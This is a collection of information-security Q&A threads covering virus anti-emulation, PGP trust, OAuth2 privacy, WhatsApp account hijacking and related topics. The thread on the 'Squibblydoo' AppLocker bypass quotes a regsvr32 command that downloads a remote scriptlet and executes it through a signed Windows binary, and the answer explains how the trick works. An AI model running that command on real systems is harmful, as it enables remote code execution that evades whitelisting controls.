How could an AV detect a virus that has a chance of not decrypting itself? If I understand this correctly there is a chance the virus may not decrypt itself at all. How could an AV catch this?

  In some cases, the decryptor may start with a header whose intent is
  not immediately obvious upon reading it. Further study reveals that
  its purpose is to generate anti-emulation code on the fly: the virus
  constructs a small oligomorphic code snippet containing the
  instruction “ReaD Time Stamp Counter” (RDTSC). This retrieves the
  current value of an internal processor ticks counter. Then, based on
  one random bit of this value, the decryptor either decodes and
  executes the virus body or bypasses the decryption logic altogether
  and simply exits. 4

-Symantec's writeup on Simile

What the article says is that the virus contains a lot of specific code aimed at defeating anti-virus -- both the AV software itself, and the analysis techniques used by AV developers to figure out what the virus does. In the specific paragraph you quote, that's the latter which is discussed: the virus code alters its behaviour when it detects that it is running in an emulator.

Theoretically, a virus can always be defeated by a human being following the code "by hand". However, it is tiresome and takes quite some time. In practice, AV companies have nowhere near the time and resources to do manual analysis of every new brand of virus, which is why they need to rely on some semi-automatic techniques such as emulators. This is a losing battle in the long run...

Obligatory rant: a computer virus can exist and strive only because of flaws in the structure or implementation of computer systems -- in particular indulging in execution of code of dubious provenance. An example of a system which is well designed in that matter is a Linux distribution: executable files may come only as packages from official repositories, and the provenance is controlled with signatures. It is not "perfect" but the rarity of virus in the Linux ecosystem is suggestive that they do something right at some point. The best defence against virus is to fix the flaws. AV are like a new layer of paint to hide the crevices.


Can National Insurance number and Unique Taxpayer Reference be stored unencrypted in a database? Should these details be stored encrypted, not at all or in plain text in a database?

These are both UK terms, used to identify individuals to the tax authorities; the NI number is used more widely, appearing on payslips for example.

Legalities aside, you should always be very careful about how you store personal data. Details like NI number can be used to impersonate individuals (particularly where it stored alongside other identifying information such as names or email addresses) and can lead to identity theft.

If you don't need the information, don't store it at al
If you do need it, secure it very carefully. This includes but is not limited to encryption; there is no point spending the time encrypting your database if the application that has access to it has a SQL injection vulnerability that allows someone to enumerate all of the data anyway


How does this AppLocker bypass work, exactly? ("Squibblydoo") I have read on a few blogs about a trick called "Squibblydoo", where the following command can bypass Windows' AppLocker:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll

Where the URL points to a script file that contains a command to open up Powershell (which, in the scenario, is blocked by AppLocker).

However, I tried it on a Win10 machine and it didn't work.
Furthermore, I'm confused as to what this does exactly. All I know is that it is calling DllUninstall from a file in a server (but which also could be a local file) and it registers scrobj.dll (but I really don't understand the relationship here. What is scrobj.dll doing exactly?) and that for some reason makes the script in the file execute, which can then open an application blocked by AppLocker.

Brief introduction to COM
COM is a Microsoft standard for the binary layout of objects in memory.
This standard is independent of the programming language used though is similar to the well-known C++ virtual dispatching through the vtables.
Basically, COM consists of objects and interfaces.
Object are abstract entities, they are a collection of interfaces.
Interfaces are identified by an UUID (known as CLSID) and optionally a more user friendly Program ID (ProgID).
An interface consists of a set of methods and an eventual parent interface.
A programmer never uses objects, only interfaces. They have to somehow get a pointer to an interface and invoke its methods.
At the low level, an interface pointer is just a pointer to a vtable.
If the programmer already have a pointer to any interface of an object, it can get any other interface of the same object because all interfaces inherit from IUnknown that exposes a QueryInterface method.
However to get the first interface a side band mechanism is needed.
Particularly, the module where the object (interfaces) implementations reside must be loaded in the calling process address space (if it's an in-process server) or must be started and an IPC/Network channel established (if it's an out-of-process server).
All the work is handled by the CoGetClassObject API that given a CLSID will do all the hard work and return a pointer to the given interface (eventually through an in-process proxy).
Brief introduction to COM server registration
For CoGetClassObject to work it need to find the type of server and the associated module (DLL or EXE) from a CLSID or a ProgID.
This information is stored in the registry (Under HKCR and HKCR\CLSID), when missing a COM client will fail to invoke methods on the server.
It's the responsibility of the server module to create the right keys. Microsoft developed a convention (or it's a standard?) so that a programmer didn't need to conceive their self with the registration burden: A module will export DllRegisterServer and DllUnregisterServer and the installation wizard will call them for each COM component (EXE module may use different names, I don't remember).
The tools performing the registration is regsvr32.exe, when given the path of a COM module it will load the module and call one of those functions.
Optionally a module can export (DllInstall) which is used to perform additional installation steps besides the pure COM registration.
This function accepts a boolean parameter to tell installation from uninstallation (note: there is no DllUninstall, the doc is wrong) and a string denoted as the "command line".
The implementation is free to use it however it wants.
When used with /i regsvr32 will call DllRegisterServer and then DllInstall with the given command line.
If /n is also passed, DllRegisterServer is not called (which implies that /n alone is not valid).
If /i is not given DllInstall won't be called.
If /u is used, the uninstall path is taken (DllUnregisterServer and DllInstall with FALSE).
/s is for not showing message boxes.
Brief introduction to COM Scriptlet
Writing COM components is easy if you use VB6 or VC++ or Delphi but otherwise is painful.
To enable scripting languages to write COM component Micosoft introduced a new format for the COM server: the COM Scriptlets.
They are XML files with the source code and a bit of metadata.
<?XML version="1.0" ?>
<scriptlet validate="true" error="true" debug="true">
   <registration
    description="XXX"
    progid="YYY"
    version="1.00"
    classid="ZZZZ"
   >
   </registration>

The metadata are just the ProgID, the CLSID and a description plus a version.
A full example is here.
The code inside the registration tag is executed as part of the server registration, unregistration process.
<registration
    ...
    >

    <script language="JScript">
        <![CDATA[

            ...

        ]]>
    </script>
</registration>

The scriptlet can (must?) also declare the methods of its COM interface.
The srcobj.dll
I don't know what srcobj.dll is used for in Windows.
I just fired up IDA and retrieved the DLL's debug symbols to see what's going on.
First, the DLL exports all the COM registration methods:

The DllInstall method, regardless of the bInstall parameter, will load the scriptlet given in the command line argument calling RegisterScriptlet

RegisterScriptlet will in turn create a ComScriptletSite object to get a ComScriptletConstructor to invoke LoadFromPath:

The chain of call is a bit deep from here, it goes like this: LoadFromInput > ...  > CompileScriptlet > ... > CompileRegistration.
Later the scriptlet registration code is executed as part of its initialisation.
The bypass
The net effect of loading a scriptlet is that some script code is executed in the context of regsvr32.exe (as part of the registration phase).
As regsvr32.exe is a trusted (signed?) executable, this bypass the Windows restriction on allowed executables (AppLocker).


PGP legitimacy calculation While studying PGP I started to doubt how to calculate the legitimacy/validity of a key. The problem comes when we set that key legitimacy is calculated as the weighted sum of the trust values.

What is the correct way of summing this trust values within the keyring? Am I only adding the trust values of valid or already legitimate public keys? Or do I add the trust values independently of the legitimacy status of the key?

Which is the correct way of doing it 1) or 2)?

1) The key ring contains at least C certificates from completely trusted introducers with valid public keys or the key ring contains at least M certificates from marginally trusted introducers with valid public keys.

2) The key ring contains at least C certificates from completely trusted introducers or the key ring contains at least M certificates from marginally trusted introducers.

1 and 2 differ only on the validity/legitimacy of the keys that added.

The PGP trust model has a transitive computation model: when a key is trusted and valid (as certified by other valid and trusted keys), it is itself considered for determining further valid keys.

This does not really match either of your options, as "introducer keys" are usually considered those forming "validation roots", for example your own key. GnuPG uses the "ultimally trusted" term for those. Usually that's your own key, as everything else can by expressed by certifications and issuing trust.

The default PGP trust model is "A key is valid if it has at least one certification by a fully trusted and valid key, or at least three certifications of marginally trusted and valid keys." GnuPG adds a path length limit of five certifications from ultimately trusted keys (or "trust introducers").

The GnuPG manual provides an illustrative example on the web of trust and trust calculations, and I discussed GnuPG's output on trust validation in another question which might provide further insight if you're already having your own keyring.


What is Security Theater? Security Theater, or Security Theatre in British English, has been mentioned in many posts on this site.

What does Security Theater mean?

What are some examples?

Is it the greatest threat to actual security?

One good example of security theater (which has now been taken down, probably due to the ridicule) is Wells Fargo's page which does nothing but state that it is establishing a secure connection, etc.

An even better example that is rife with many instances of security theater is United's PIN and Password FAQs:

The section "Why can't I type my own security answers?" indicates that there is a pre-defined list of answers for the security questions. This results (as explained) from their narrow focus on the one threat that they think must be the most important: Keyloggers. Thus, they present a theater of restriction on security answers (that don't need the keyboard), which are insecure in the first place due to Social attacks.
The section on marketing use of security questions indicates that the answers to the security questions are encrypted. This is complete security theater since, as mentioned above, the answers are pre-defined. What could you possibly be protecting by encrypting them?

As security blogger Bruce Schneier explains, security theater, or perceived security, is not necessarily a threat to real security if it is in place on top of real security (for instance, if all data at that Wells Fargo page is actually transmitted over a secure connection) instead of replacing real security (such as if they displayed that animation on a page with HTTP components). Security Theater can even be helpful at times, such as the RFID tags Schneier mentions, which don't do a lot to stop intelligent criminals, but do set people's minds at ease about a threat that was minimal to begin with.

However, if people begin to rely too much on a façade of security (without the real security underlying it), Security Theater can be worse than useless, because users will reveal private information or perform other trusted actions that can be disastrous in the wrong hands.


Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file? Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root.

I have heard from various sources that trusting uploaded files is never safe, because a payload can be uploaded and executed, even if you check the file extension. Ideally, you should check the whole file (which could slow down the system if the uploaded file is a huge video file).

So my question is - is it still unsafe with the following configuration?
You handle the upload with POST requests to a PHP script which checks the file extension and renames the file, then places the file in the subdir "videos".
Let's say the subdirectory "videos" is protected like this (nginx):

 location ~ /(videos/|admin-stuff|etc) { deny all; }

When the files are placed in the directory, they have -rw-r--r-- permissions. If I understand correctly, the files cannot be accessed/executed by any means.
Is it still a vulnerability?

Thanks.

You handle the upload with POST requests to a PHP script which checks the file extension and renames the file

You should check the mime type. PHP have mime_content_type function for that. Even if it's possible to fool the mime header and have some code on the metadata of the file, this raises the bar for exploiting your system.

  If I understand correctly, the files cannot be accessed/executed by any means.

Not really. They cannot be executed directly by the shell. Nothing stops any attacker to uploading a script named as script.mp4 and somehow executing bash the-new-name.mp4 later.

Or using a local file include (LFI) vulnerability and use include videos/the-new-name.mp4 and running a code on the ID3 description field. You could remove metadata from the files, so even if an attacker sends a video with a shell embedded in metadata and includes it exploiting a LFI, it cannot execute.

Your Nginx settings are good.


Is it possible for unprivileged user to modify/inject into other user's (root) process? Although I'm not any kind of kernel specialist and I do not program in languages like C/C++ and thus I do not have deep understanding of critical concepts of managing processes at OS level I do have feeling that processes / daemons / socket listeners I write in languages like PHP and JavaScript (Node), despite being fairly simple, cold be used by malicious program, not necessarily root privileged.

So, I wish to know is it possible for unprivileged user to modify/inject into other user's (root) process, and if so, what would be vector / entry point for this?

(obvious stupidity like setuid-ing the binary that executes argv[1] or STDIN line are not in scope of this question.)

I'm asking this question because I want to extend my knowledge regarding subject - damage done by, let's say some web shell that got into apache/www-data writable dir and managed to inject into root-owned process would be, by definition, fatal for security.

This is far from being a simple task thanks to memory protection techniques.

In the old times of MS-DOS, Windows 9x and equivalent home computing systems, the memory was indeed equally shared amongst all the running process. In such conditions your feeling is right: any user process can access and modify memory from other processes, even the operating system kernel has no mean to fully shield itself.

But this is old story now. As an inheritance from mainframe computers (big bulky fridge-looking units used for highly sensitive and parallel tasks), home computers OS and processor architectures received real memory protection techniques.

At the basis of this technique there is a map allowing to match a memory segment with its owning process. Thanks to this, a process is not allowed anymore to access anything outside of its own memory. If a process attempts to break this rule (most often as the result of a bug) the operating system mercilessly kills it (this is dreaded segmentation fault, or "segfault" for the intimates).

Does this means that the threat you are describing can never happen anymore? In security, never say "never": every system as secure as it may seem has its flaw:

The whole thing is controlled by the operating system kernel, so a flaw in the kernel may lead to bypass this security and obtain access to whole memory like in the good old days. An example on Linux could be the ptrace system call, designed to allow to trace (debug) a process. Vulnerabilities are found from time to time allowing an unprivileged process to abuse this function into getting such ability.
On the other side of the chain, you may also want to bypass the operating system completely and directly attack the physical RAM storage. The most well known attack in this category is the Row Hammer: it has been found that on a lot of RAM modules the fact of quickly and repeatedly changing the value stored at a location may, due to some electronic weakness, affect and possibly change a value stored at a nearby location.

Where your nightmare may come true regarding your "fairly simple" scripting language is that there is for instance a working JavaScript implementation of the Row Hammer attack. So definitively yes, it is possible for an unprivileged JavaScript program to inject some code in a root process. However, this is not a simple thing, and as new ways to do this get discovered, new protection techniques gets developed: the endless story of IT security ;) !


Can my iPhone photos be viewed by the person I got it from? I got my phone from a friend, and I wanted to know if anything can be viewed by him. Can he see my photos (and other stuff of course) when he knows the IMEI (and maybe other things) of the phone?

If your iphone is not jailbroken, and you did a factory reset (be sure of that) your datas are safe.

For extra precaution you can also verify that all the possible accounts are deleted on the phone : google drive, dropbox, iCloud ...


Why AES is not used for secure hashing, instead of SHA-x? As far as I understand, AES is believed to be extremely secure. (I have read somewhere that it would certainly not be broken in the next 20 years, but I am still not sure if the author was serious.)

DES is still not so bad for an old cypher, and 3DES is still used (maybe not so much, but at least I see 3DES in about:config in Firefox).

It looks like (good) block cyphers are trusted by the crypto community.

OTOH, many problems with cryptographic hash functions are discovered.

From the point of view of the non-crypto-specialist: hashing functions and symmetric cyphers are the really same thing: a "random" function (with different inputs and output).

So, why not use just AES for hashing? This seems the obvious things to do to get the strong safety of AES for hashing. As a bonus, could hardware implementations of AES help?

Is there a simple explanation of the real difference between hash functions and symmetric cyphers?

A block cipher has a key; the secrecy of the key is what the cipher security builds on. On the other hand, a hash function has no key at all, and there is no "secret data" on which security of the hash function is to be built.

A block cipher is reversible: if you know the key, you can decrypt what was encrypted. Technically, for a given key, a block cipher is a permutation of the space of possible block values. Hash functions are meant to be non-reversible, and they are not permutations in any way.

A block cipher operates on fixed-sized blocks (128-bit blocks for AES), both for input and output. A hash function has a fixed-sized output, but should accept arbitrarily large inputs.

So block ciphers and hash functions are really different animals; rather than trying to differentiate them, it is easier to see what they have in common: namely, that the people who know how to design a block cipher are also reasonably good at designing hash functions, because the analysis mathematical tools are similar (quite a lot of linear algebra and boolean functions, really).

Let's go for more formal definitions:

A block cipher is a family of permutations selected by a key. We consider the space B of n-bit blocks for some fixed value of n; the size of B is then 2n. Keys are values from a space K, usually another space of sequences of m bits (m is not necessarily equal to n). A key k selects a permutation among the 2n! possible permutations of B.

A block cipher is deemed secure as long as it is computationally indistinguishable from a permutation which has been chosen uniformly and randomly among the 2n! possible permutations. To model that, imagine a situation where an attacker is given access to two black box, one implementing the block cipher with a key that the attacker does not know, and the other being a truly random permutation. The goal of the attacker is to tell which is which. He can have each box encrypt or decrypt whatever data he wishes. On possible attack is to try all possible keys (there are 2m such keys) only one is found, which yields the same values than one of the boxes; this has average cost 2m-1 invocations of the cipher. A secure block cipher is one such that this generic attack is the best possible attack.

The AES is defined over 128-bit blocks (n = 128) and 128-, 192- and 256-bit keys.

A hash function is a single, fully defined, computable function which takes as input bit sequences of arbitrary length, and outputs values of a fixed length r (e.g. r = 256 bits for SHA-256). There is no key, no family of function, just a unique function which anybody can compute.

A hash function h is deemed secure if:

It is computationally infeasible to find preimages: given a r-bit value x, it is not feasible to find m such that h(m) = x.
It is computationally infeasible to find second preimages: given m, it is not feasible to find m' distinct from m, such that h(m) = h(m').
It is computationally infeasible to find collisions: it is not feasible to find m and m', distinct from each other, such that h(m) = h(m').

There are generic attacks which can find preimages, second preimages or collisions, with costs, respectively, 2r, 2r, and 2r/2. So actual security can be reached only if r is large enough so that 2r/2 is an overwhelmingly huge cost. In practice, this means that r = 128 (a 128-bit hash function such as MD5) is not enough.

In an informal way, it is good if the hash function "looks like" it has been chosen randomly and uniformly among the possible functions which accept the same inputs. But this is an ill-defined property since we are talking about a unique function (probabilities are always implicitly about averages and repeated experiences; you cannot really have probabilities with one single function). Also, being a random function is not exactly the same as being resistant to collisions and preimages; this is the debate over the Random Oracle Model.

Nevertheless, it is possible to build a hash function out of a block cipher. This is what the Merkle-Damgård construction does. This entails using the input message as the key of the block cipher; so the block cipher is not used at all as it was meant to be. With AES, this proves disappointing:

It results in a hash function with a 128-bit output, which is too small for security against technology available in 2011.
The security of the hash function then relies on the absence of related-key attacks on the block cipher. Related-key attacks do not really have any practical significance on a block cipher when used for encryption; hence, AES was not designed to resist such attacks, and, indeed, AES has a few weaknesses in that respect -- not a worry for encryption, but a big worry if AES is to be used in a Merkle-Damgård construction.
The performance will not be good.

The Whirlpool hash function is a design which builds on a block cipher inspired from the AES -- not the real one. That block cipher has a much improved (and heavier) key schedule, which resists related-key attacks and makes it usable as the core of a hash function. Also, that block cipher works on 512-bit blocks, not 128-bit blocks. Whirlpool is believed secure. Whirlpool is known to be very slow, so nobody uses it.

Some more recent hash function designs have attempted to reuse parts of the AES -- to be precise, to use an internal operation which maps well on the AES-NI instructions which recent Intel and AMD processors feature. See for instance ECHO and SHAvite-3; these two functions both received quite a bit of exposure as part of the SHA-3 competition and are believed "reasonably secure". There are very fast on recent Intel and AMD processors. On other weaker architectures, were hash function performance has some chance to actually matter, these functions are quite slow.

There are other constructions which can make a hash function out of a block cipher, e.g. the one used in Skein; but they also tend to require larger blocks than what the AES is defined over.

Summary: not only are block ciphers and hash functions quite different; but the idea of building a hash function out of the AES turns out to be of questionable validity. It is not easy, and the limited AES block size is the main hindrance.


How do I ensure secure communication and inter-process authentication in a multi-server application Note: Question updated to narrow the scope a bit.

Scenario

Client <-> Application server <-> Data server

Users use the client to connect to the application server and build queries for execution.
Application server handles authentication and authorization.
Application server sends query definitions (not SQL) along with authorization information to the data server.
Data server does what it is told.

Authorization dictates which tables and columns from tables a user is allowed or not allowed to see. And can also specify column values that a user is allowed or not allowed to see. A user may for example be restricted to see only order from client X. Another user may be allowed to see employee data for him/herself and her/his team members except salary information (columns).

This is a software suite which will be installed on our customer's machines. The installation may consist of multiple application servers and multiple data servers.

Requirements

As the data server does not do any authentication or authorization of actual users, we need to ensure that:

query execution requests are only originating from our own application servers
get result data requests are only accepted from the same application server that sent that query execution request
the authentication and encryption methods have as little overhead as possible (connections may be established on a per request basis and each query execution request can be followed by many get result data requests)
the application server and the data server may be running on physically different machines

Question

What would be the best way to set up the communication between the application server and the data server to ensure the requirements are met?

We are currently using HTTPS, but are open to other communication methods if these would make authentication and security of the communication between application and data server easier/better/faster.

Update:

We would like to steer clear of anything that a security conscious IT department would frown upon (trusting another CA) or would make the installation a lot harder/more painful (client certificates). But authentication of processes and the security of the data flowing between them is essential, so if they are the only way, we'll just have swallow the pill.

A practical and secure approach is to use SSL with client certificates, which is probably similar to your existing approach.

One way of doing this is that every server has a private key and a self-signed certificate, and also the certificate of every server it needs to talk to. So when an application server connects to a data server, both ends present their certificate, which the other ends checks against their copy.

This is good for a handful of servers. If you have more than that you need to create your own internal certificate authority. Each server then has a private key, a certificate signed by your internal CA, and the certificate for your internal CA itself.

In this model, authentication between servers does have a moderate server load, but you mitigate this by keeping the SSL connections open for a long time, so authentication is only done occasionally.


Is using OAuth2 services like Google or Facebook Single Sign-On a privacy concern? With all the coverage of Cambridge Analytica scandal, it seems like this wasn't a data breach or hack, it was just that Cambridge Analytica did not properly disclose how they would use the data.

Is signing into a website using an OAuth2 service like Facebook or Google a potential privacy concern now?

I always thought that OAuth2 only provided a token to the website but it seems like there is actually much more information that is given.

What data does the OAuth2 provider provide to the website?
What data does the OAuth2 provider get from the website? Is Facebook or Google basically able to track all your activity on the website?

OAuth2 is not intrinscally a security risk for an end-user, i.e. the person authenticating on a third-party service using their Google or Facebook account (for example).

OAuth2 works in scopes, which define the nature and amount of data the third-party service will end up having access to.

You will probably be familiar with this kind of screen (source):

A well-designed OAuth2 implementation will clearly express the various bits of information that will be disclosed to the third-party service.

However, this really depends on the OAuth2 provider's apt definition of scopes. There are no standard scopes, so they vary from provider to provider, as shown in this scopes-by-provider list.

Therefore the "outside risk" lies in your choice of OAuth2 provider. It is possible to implement OAuth2 in a totally insecure way, and still "adhere" to the OAuth2 specification. What if I ran a service with a single scope for all your information? What if my description of such scope in the consent page was misleading?

More generally, it is often a criticism of the OAuth2 specification that it leaves critical elements out for the implementers to make up by themselves, leading to all sorts of problems. The wikipedia page briefly brushes on them (please feel free to go down the rabbit hole and read up on it).

But this does not make OAuth2 itself intrinsically insecure.

Addressing the current Cambridge Analytica scandal: Facebook, for all that could be held against them, run a reputable OAuth2 implementation and have been providing this service for years before this event. People who surrendered their information in the Cambridge Analytica debacle must have initially clicked through the consent screen, which must have displayed an item about disclosing their friends circle, when using the psychological profiling app that ended up fishing (not phishing) for all this information. It seems however, that Facebook has at least been "negligent" in enforcing its data usage policy (make up your own mind).

Edit: @Ian commented that the Cambridge Analytica’s app users may not have given explicit consent for their friends data to be pulled. I suppose it means Facebook may not have been straightforward in the description of their scope.

As for your last question, an OAuth2 provider is not able to tell any more than when and how often the third-party service accesses the scoped information. It cannot know what you are doing with the third-party service, or for that matter, what the service is doing with your information. It's (rightly) out of their hands.

More background on OAuth2: https://oauth.net/2/


Native app: login with username and password I have web api, for now it uses oauth2 authorization code grant type to communicate with my native application. Web browser will be opened inside app to input username and password, open authorize page etc. I want to implement ability to login in native app using username and password without web view because it's our official native app. It sounds like resource owner credentials grant type. But it's obviously insecure because clientid is available together with app for all. But I see it works (credentials inside app) for twitter official app and others. So I suppose they use some authorization logic not oauth2 resource owner credentials grant type for their official native apps. Any thoughts here? How to build this communication in secure way?

The scenario you are trying to implement is not recommended under OAuth 2.0 for Native Apps

  The best current practice for authorizing users in native apps is to
     perform the OAuth authorization request in an external user-agent
     (typically the browser), rather than an embedded user-agent (such as
     one implemented with web-views).

So, given that you've stated you want to implement in a 'secure' way, the best practice is to redirect to the system browser rather than handling the flow within your app directly.

However, if you decide to handle things 'in app' you will need to implement a http client (user agent) as part of your app. That custom user agent in your app would then need to handle the series of requests and responses to perform the OAuth 2 flow that the system browser would normally manage. Part of this would include prompting the user for credentials which would be passed to the authorization server for authentication.


What is the purpose of a targeted email without any meaningful content? I received an email to my corporate email account from an external Gmail account.
The list of recipients clearly shows (an eventually successful) attempt to guess my email address based on my personal information (nothing confidential — all of it is semi-publicly available on LinkedIn), including a correct internal domain name.
However, the email itself did not contain anything meaningful - both subject and body contained a single word (which was the corporate name). There were no links, trackers, attachments, or even an attempt to make me respond.
That left me a little puzzled — by the looks of it, non-trivial effort was put in crafting this email — what would an attacker gain from it?

Attempting to send a message to a non-existant email address will typically result in a “bounceback” message with an error code like 510 or 550 invalid address. If you try several addresses and there is no error message for only one of them, you know this one actually exists.
Someone who has a mailbox on a corporate email server also probably has access to multiple other systems or services, possibly with the same user name. The sender now has the name/handle of an account they can target on these systems.


Could an attacker connect to a SSTP VPN if they know a users credentials but do not have the public certificate? When setting up a SSTP VPN we distributed certificates to the trusted root authority of each client computer to validate the server, can this certificate also prevent attacks if credentials are lost?

e.g.
Can an attacker connect to our SSTP VPN if they do not have access to this certificate but do have user credentials?

Yes. An attacker can configure VPN client to ignore certificate errors and successfully connect to VPN. Server certificate validation occurs on client and server has no idea how client validates it.


WhatsApp account got "hacked"/hijacked? I was on a WhatsApp call with my friend (Alice) when the call suddenly dropped. I then immediately opened my chats and noticed an alert in a mutual group that said "Your security code with Alice changed, because their account was registered on a new device". At this point Alice was logged out of her account on her phone. She then tried to log back in, with WhatsApp sending the verification SMS, and she was able to log back in (at which point I received another alert about the security code changing). Barely a minute passed when Alice was logged out of her account again. She then tried to log back in but WhatsApp said "Your phone number +xxxxx is banned from using WhatsApp. Contact support for help".

We're genuinely perplexed. Just to be clear this whole story from start to finished happened so quickly, within a span of around 5-10 minutes. Neither of us are high profile / high value targets. We're just regular people. Unfortunately she did not turn on the "Two-step verification" feature that requires a PIN when re-registering the number - as a security enthusiast I'm kicking myself for not checking this with her.

So my questions:

What the **** happened here??? I read that WhatsApp usually bans numbers reported for spam. She definitely did not spam anyone ever. In fact this was a secondary number she used very rarely with other people. Could it be that someone somehow used her number and sent spam so quickly the number was banned within 5 minutes?
The only way for someone to use her number on WhatsApp is to have access to the verification SMS. I thought this could have been a SIM swap attack, but her SIM card is still usable as normal. Wouldn't a SIM swap result in her card being dead? (and no, she did not receive any verification SMS before this happened. And she knows enough not to give the code to anyone anyway)
Or could it be that they've been using her number for a while and been sending spam for a while? Unlikely, as far as I know WhatsApp only allows 1 device to be logged in at any time.
How worried should we be? What data does this "hacker" have? I'm really concerned about the possibility of #3, if it meant that this adversary could have had access to all our messages for an unknown time span.
Any mitigation steps we need to take? I've already removed the number from all shared groups and she has emailed WhatsApp support, if that does anything.

Edited to add more information in response to Jackson's answer:

I am 100% sure Alice herself never violated any terms of use. So if that was the cause then someone else used her account.

Yes I considered malware on her phone, but it is unlikely, although not impossible. That phone is relatively new, and I have taught her quite well on good security practices - never reuse passwords, never install unknown apps, never open unknown links, never use public wifi, never open unexpected email attachments, etc. As far as I know her phone is not being synced or backed up to any servers. At most it's probably connected to Google Drive, and her account is secured with 2FA. I will try to find out whether the service provider supports MultiSim or not.

She never leaves her phone unattended, and only ever uses WhatsApp Web on her personal computer at home. Although I can't guarantee her computer is secure.

  Suppose bob has a trojan on Alice. Then he probably has access to everything on the phone.
  Suppose bob has a whatsapp web connection of Alice then he has access to all her whatsapp conversation
  Suppose bob is just spoofing Alice number then really not that much to worry. He just spoofing her no data breach. Hopefully nothing done illegally though

If any of these were the case, why was Alice logged out of her account? It would be in Bob's best interest to remain undetected.

What the **** happened here??? I read that WhatsApp usually bans numbers reported for spam. She definitely did not spam anyone ever. In fact this was a secondary number she used very rarely with other people. Could it be that someone somehow used her number and sent spam so quickly the number was banned within 5 minutes?

There are many reasons she could have been banned. Mainly any violation of whatsapp terms of use policy can result in a ban. see here. Also, here is a short extract of a post from indiatoday

  As per the WhatsApp guidelines, WhatsApp only sends out this message
  to its users when the basic code of conduct is violated by the user.
  What is this violation? WhatsApp bans accounts when a user sends
  obscene, defamatory and threatening messages to another user. However,
  it is entirely on WhatsApp to decide what it constitutes obscene,
  defamatory and threatening message.

  Users are also banned when they promote violence on the app or create
  a fake account of someone. Another way one can get banned on WhatsApp
  is by sending too many messages to users, who are not added to his
  contact list. This may seem like a trivial issue but more often people
  have complained of getting messages from unknown people and that can
  be really bothersome at times. Basically, if you are spamming from
  your number, you may get banned. These bans are often permanent.

Moving on

  The only way for someone to use her number on WhatsApp is to have access to the verification SMS. I thought this could have been a SIM swap attack, but her SIM card is still usable as normal. Wouldn't a SIM swap result in her card being dead? (and no, she did not receive any verification SMS before this happened. And she knows enough not to give the code to anyone anyway)

Have you considered spywares or trojans on her phone? Also you can duplicate sim without disabling the first sim using MultiSim. This depends on your service provider. Furthermore, SMS was never secure in the first place. See here

  Or could it be that they've been using her number for a while and been
  sending spam for a while? Unlikely, as far as I know WhatsApp only
  allows 1 device to be logged in at any time.

It is possible.

Suppose Malicious Bob had access to Alice phone at one point in time and decided to log in to whatsapp web with Alice phone
Suppose Alice decided to log in to whatsapp web on someone else PC and forgot to log out and Bob found that computer
Suppose Bob found the whatsapp public master key of Alice and decides to send text on behalf of Alice. It should be possible. You can reference such attacks here

  How worried should we be? What data does this "hacker" have? I'm
  really concerned about the possibility of #3, if it meant that this
  adversary could have had access to all our messages for an unknown
  time span.

Probably very.

How much he has depends.

Suppose bob has a trojan on Alice. Then he probably has access to everything on the phone.
Suppose bob has a whatsapp web connection of Alice then he has access to all her whatsapp conversation
Suppose bob is just spoofing Alice number then really not that much to worry. He just spoofing her no data breach. Hopefully nothing done illegally though

Probably more possible cases but you get that the question is generic and dependent on the cause of the breach which is unknown as of now.

  Any mitigation steps we need to take? I've already removed the number
  from all shared groups and she has emailed WhatsApp support, if that
  does anything.

Once again depends on the cause of breach.

I'd be more worried about trojan or multisim so

factory reset the phone
enquire with your service provider as well
ensure no logins on whatsapp web services.
Also i'd check if alice phone is being synchronized or backed up to any remote server since it is a possible point of entry.


Wifi - If I remove the wifi password on my device, will it still appear on the router? So, say I knew the wifi password to someone's wifi. If type the password in and use the wifi then press "forget network" it removes the password from my phone. Does this then remove the device and the devices IP address from the router so the admin can't see it??

No. There is no such protocol to "remove the device" and its IP address from the router. "Forget network" only takes action on the local device by removing whatever data is stored about the network.

You could potentially request for the DHCP record to be released while connected to the network using command-line utilities; it might remove the IP address assignment on the router, but that depends and it is likely that it would still leave traces.


How do partial wildcards in subjectAltName dNSName interact with IDNA domains? For instance if I run IDNA encode bücher.tld you receive xn--bcher-kva.tld. Now imagine the certificate for https://bücher.tld has the following field within subjectAltName: (dNSName, xn--bcher*.tld).

Would this mean that the certificate would match býcher.tld since it IDNA-encodes to xn--bcher-qva.tld or are partial wildcards not allowed for IDNA-encoded domains? Are there any official documents about these two features interacting?

RFC6125 section 7.2 strongly discourages the use of wildcards inside an IDNA part of the domain name:

   o  There is no specification that defines how the wildcard character
      may be embedded within the A-labels or U-labels [IDNA-DEFS] of an
      internationalized domain name [IDNA-PROTO]; as a result,
      implementations are strongly discouraged from including or
      attempting to check for the wildcard character embedded within the
      A-labels or U-labels of an internationalized domain name (e.g.,
      "xn--kcry6tjko*.example.org").  Note, however, that a presented
      domain name identifier MAY contain the wildcard character as long
      as that character occupies the entire left-most label position,
      where all of the remaining labels are valid NR-LDH labels,
      A-labels, or U-labels (e.g., "*.xn--kcry6tjko.example.org").

Looking at the source code of OpenSSL and Chromium: they follow this recommendation and have explicit tests for this case. This means that neither  xn--bcher*.tld nor *-kva.tld  would match xn--bcher-kva.tld
I can not find anything about this topic in the CA browser forum baseline requirements though.


Admin can login as member I need to implement new functionality, in that Admin user can can login as any member user . This functionality I can easily handle using programming.

But the major concern when admin user login as member there would be a button which is call back to Admin login. So how do I handle this using session or any other way because if anyone break the ACL or session It will be create a problem.

Another Issue

There may be a possibility admin has some permission restriction when he will login as member.

Please give me some suggestion on that.

You could store the session privilege level in a stack. When the admin becomes user you push a new token on the stack saying "I'm user now". The "back" function is just a pop from the stack. You could store session tokens in the server session and just delete/reset relevant cookies when someone changes from one level to another.
When going for this approach, be careful with not mixing the access levels. E.g. if admin sessions have a shorter lifetime than ordinary users make sure the admin session is killed in case the "back to admin" happens before the user lifetime ends but after the admin lifetime has ended. There might be tons of other implications, so think thoroughly before taking this into production. One is that in logging and auditing files you might want to log the user's actions for your case as "Somthing done by admin on behalf of user ABC" and not as "Something done by user ABC".


How to listen to all ports (UDP and TCP) or make them all appear open (linux) I got an external Debian server. The problem is that my university campus doesn't allow connections to go outside when the port is different than TCP port 22, 80, 443, or UDP port 123. I tested them manually. On my Debian server I would like to listen to all my UDP and TCP ports so I can clearly figure out which TCP and UDP ports my university let through their firewall. Nmap is wonderful on the client side to test that, but what should I do on the server side?

